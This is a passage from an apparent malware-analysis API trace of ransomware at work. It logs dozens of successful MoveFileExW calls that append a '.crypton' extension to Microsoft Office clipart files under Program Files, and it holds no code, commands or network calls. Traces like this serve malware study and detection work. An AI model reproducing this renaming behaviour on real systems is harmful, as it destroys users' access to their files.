Office\\CLIPART\\PUB60COR\\PH02810J.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02810j.jpg.crypton"), dwFlags=0x2) returned 1 [0085.442] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02829J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02829j.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02829J.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02829j.jpg.crypton"), dwFlags=0x2) returned 1 [0085.453] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02845G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02845g.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02845G.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02845g.gif.crypton"), dwFlags=0x2) returned 1 [0085.471] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02897J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02897j.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02897J.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02897j.jpg.crypton"), dwFlags=0x2) returned 1 [0085.482] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03011U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03011u.bmp"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03011U.BMP.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03011u.bmp.crypton"), dwFlags=0x2) returned 1 [0085.487] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03012U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03012u.bmp"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03012U.BMP.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03012u.bmp.crypton"), dwFlags=0x2) returned 1 [0085.500] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03014_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03014_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03014_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03014_.gif.crypton"), dwFlags=0x2) returned 1 [0085.517] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03041I.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03041i.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03041I.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03041i.jpg.crypton"), dwFlags=0x2) returned 1 [0085.535] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03143I.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03143i.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03143I.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03143i.jpg.crypton"), dwFlags=0x2) returned 1 [0085.559] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03205I.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03205i.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03205I.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03205i.jpg.crypton"), dwFlags=0x2) returned 1 [0085.770] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03224I.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03224i.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03224I.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03224i.jpg.crypton"), dwFlags=0x2) returned 1 [0085.799] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03379I.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03379i.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03379I.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03379i.jpg.crypton"), dwFlags=0x2) returned 1 [0085.814] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03380I.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03380i.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03380I.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03380i.jpg.crypton"), dwFlags=0x2) returned 1 [0085.897] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03425I.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03425i.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03425I.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03425i.jpg.crypton"), dwFlags=0x2) returned 1 [0085.905] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\road_01.mid"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\road_01.mid.crypton"), dwFlags=0x2) returned 1 [0085.916] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\safri_01.mid"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\safri_01.mid.crypton"), dwFlags=0x2) returned 1 [0085.950] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\schol_02.mid"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\schol_02.mid.crypton"), dwFlags=0x2) returned 1 [0085.957] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\show_01.mid"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\show_01.mid.crypton"), dwFlags=0x2) returned 1 [0085.966] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\space_01.mid"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\space_01.mid.crypton"), dwFlags=0x2) returned 1 [0085.973] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sprng_01.mid"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sprng_01.mid.crypton"), dwFlags=0x2) returned 1 [0085.983] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sumer_01.mid"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sumer_01.mid.crypton"), dwFlags=0x2) returned 1 [0085.990] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\swest_01.mid"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\swest_01.mid.crypton"), dwFlags=0x2) returned 1 [0086.002] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\urban_01.mid"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\urban_01.mid.crypton"), dwFlags=0x2) returned 1 [0086.009] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\vctrn_01.mid"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\vctrn_01.mid.crypton"), dwFlags=0x2) returned 1 [0086.012] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01219_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01219_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01219_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01219_.gif.crypton"), dwFlags=0x2) returned 1 [0086.014] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01237_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01237_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01237_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01237_.gif.crypton"), dwFlags=0x2) returned 1 [0086.015] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01238_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01238_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01238_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01238_.gif.crypton"), dwFlags=0x2) returned 1 [0086.017] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01239_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01239_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01239_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01239_.gif.crypton"), dwFlags=0x2) returned 1 [0086.019] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01240_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01240_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01240_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01240_.gif.crypton"), dwFlags=0x2) returned 1 [0086.021] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01241_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01241_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01241_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01241_.gif.crypton"), dwFlags=0x2) returned 1 [0086.023] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01242_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01242_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01242_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01242_.gif.crypton"), dwFlags=0x2) returned 1 [0086.026] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01243_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01243_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01243_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01243_.gif.crypton"), dwFlags=0x2) returned 1 [0086.028] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01244_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01244_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01244_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01244_.gif.crypton"), dwFlags=0x2) returned 1 [0086.031] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01245_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01245_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01245_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01245_.gif.crypton"), dwFlags=0x2) returned 1 [0086.033] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01246_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01246_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01246_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01246_.gif.crypton"), dwFlags=0x2) returned 1 [0086.037] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01253_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01253_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01253_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01253_.gif.crypton"), dwFlags=0x2) returned 1 [0086.039] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01268_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01268_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01268_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01268_.gif.crypton"), dwFlags=0x2) returned 1 [0086.040] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01292_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01292_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01292_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01292_.gif.crypton"), dwFlags=0x2) returned 1 [0086.044] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01293_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01293_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01293_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01293_.gif.crypton"), dwFlags=0x2) returned 1 [0086.049] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01294_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01294_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01294_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01294_.gif.crypton"), dwFlags=0x2) returned 1 [0086.059] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01295_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01295_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01295_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01295_.gif.crypton"), dwFlags=0x2) returned 1 [0086.061] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01296_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01296_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01296_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01296_.gif.crypton"), dwFlags=0x2) returned 1 [0086.064] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01297_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01297_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01297_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01297_.gif.crypton"), dwFlags=0x2) returned 1 [0086.066] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01298_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01298_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01298_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01298_.gif.crypton"), dwFlags=0x2) returned 1 [0086.069] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01299_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01299_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01299_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01299_.gif.crypton"), dwFlags=0x2) returned 1 [0086.072] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01300_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01300_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01300_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01300_.gif.crypton"), dwFlags=0x2) returned 1 [0086.075] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01301_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01301_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01301_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01301_.gif.crypton"), dwFlags=0x2) returned 1 [0086.083] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01304G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01304g.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01304G.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01304g.gif.crypton"), dwFlags=0x2) returned 1 [0086.085] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01330_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01330_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01330_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01330_.gif.crypton"), dwFlags=0x2) returned 1 [0086.091] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01734_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01734_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01734_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01734_.gif.crypton"), dwFlags=0x2) returned 1 [0086.106] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01740_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01740_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01740_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01740_.gif.crypton"), dwFlags=0x2) returned 1 [0086.108] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01742_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01742_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01742_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01742_.gif.crypton"), dwFlags=0x2) returned 1 [0086.113] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01743_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01743_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01743_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01743_.gif.crypton"), dwFlags=0x2) returned 1 [0086.116] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01744_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01744_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01744_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01744_.gif.crypton"), dwFlags=0x2) returned 1 [0086.119] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01745_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01745_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01745_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01745_.gif.crypton"), dwFlags=0x2) returned 1 [0086.122] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01746_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01746_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01746_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01746_.gif.crypton"), dwFlags=0x2) returned 1 [0086.125] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01747_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01747_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01747_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01747_.gif.crypton"), dwFlags=0x2) returned 1 [0086.128] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01748_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01748_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01748_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01748_.gif.crypton"), dwFlags=0x2) returned 1 [0086.131] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01749_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01749_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01749_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01749_.gif.crypton"), dwFlags=0x2) returned 1 [0086.134] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01750_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01750_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01750_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01750_.gif.crypton"), dwFlags=0x2) returned 1 [0086.136] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01751_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01751_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01751_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01751_.gif.crypton"), dwFlags=0x2) returned 1 [0086.139] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01770_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01770_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01770_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01770_.gif.crypton"), dwFlags=0x2) returned 1 [0086.143] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01838_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01838_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01838_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01838_.gif.crypton"), dwFlags=0x2) returned 1 [0086.146] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01839_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01839_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01839_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01839_.gif.crypton"), dwFlags=0x2) returned 1 [0086.149] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01840_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01840_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01840_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01840_.gif.crypton"), dwFlags=0x2) returned 1 [0086.152] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft 